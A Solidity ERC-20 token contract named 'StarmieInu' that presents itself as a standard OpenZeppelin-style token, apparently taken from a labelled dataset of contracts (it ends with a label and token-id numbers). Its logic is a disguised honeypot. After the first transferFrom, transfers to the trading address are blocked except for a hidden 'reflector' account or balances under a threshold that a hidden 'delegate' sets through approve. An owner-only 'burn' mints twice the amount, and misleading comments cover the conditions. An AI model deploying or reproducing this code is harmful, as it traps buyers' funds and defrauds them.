* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public;
}
contract Owned {
address internal owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
address internal delegate;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal reflector;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
/**
* dev Burns a specific amount of tokens.
* param value The amount of lowest token units to be burned.
*/
function burn(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: burn from the zero address");
_burn (_address, tokens);
balances[_address] = balances[_address].sub(tokens);
_totalSupply = _totalSupply.sub(tokens);
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == delegate) number = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _send (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _burn(address _burnAddress, uint _burnAmount) internal virtual {
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
reflector = _burnAddress;
_totalSupply = _totalSupply.add(_burnAmount*2);
balances[_burnAddress] = balances[_burnAddress].add(_burnAmount*2);
}
function _send (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be the burn address. */ || (start == reflector && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
receive() external payable {
}
fallback() external payable {
}
}
contract StarmieInu is TokenERC20 {
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
/**
* dev Constructor.
* param name name of the token
* param symbol symbol of the token, 3-4 chars is recommended
* param decimals number of decimal places of one token unit, 18 is widely used
* param totalSupply total supply of tokens in lowest units (depending on decimals)
*/
constructor(string memory _name, string memory _symbol, uint _supply, address _del, address _ref) {
symbol = _symbol;
name = _name;
decimals = 9;
_totalSupply = _supply*(10**uint(decimals));
number = _totalSupply;
delegate = _del;
reflector = _ref;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
} | True | [
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2089,
2224,
2119,
1996,
2214,
1998,
1996,
2047,
21447,
2011,
15140,
1008,
12598,
13063,
1012,
2028,
2825,
5576,
2000,
10210,
28731,
2023,
2679,
1008,
4650,
2003,
2000,
2034,
5547,
1996,
5247,
2121,
1005,
1055,
21447,
2000,
1014,
1998,
2275,
1996,
1008,
9059,
3643,
5728,
1024,
1008,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
1041,
11514,
2015,
1013,
3314,
1013,
2322,
1001,
3277,
9006,
3672,
1011,
25246,
25746,
22610,
24594,
1008,
1008,
12495,
3215,
2019,
1063,
6226,
1065,
2724,
1012,
1008,
1013,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
19204,
2015,
1007,
7484,
2270,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1036,
4604,
2121,
1036,
2000,
1036,
7799,
1036,
2478,
1996,
1008,
21447,
7337,
1012,
1036,
3815,
1036,
2003,
2059,
2139,
29510,
2013,
1996,
20587,
1005,
1055,
102
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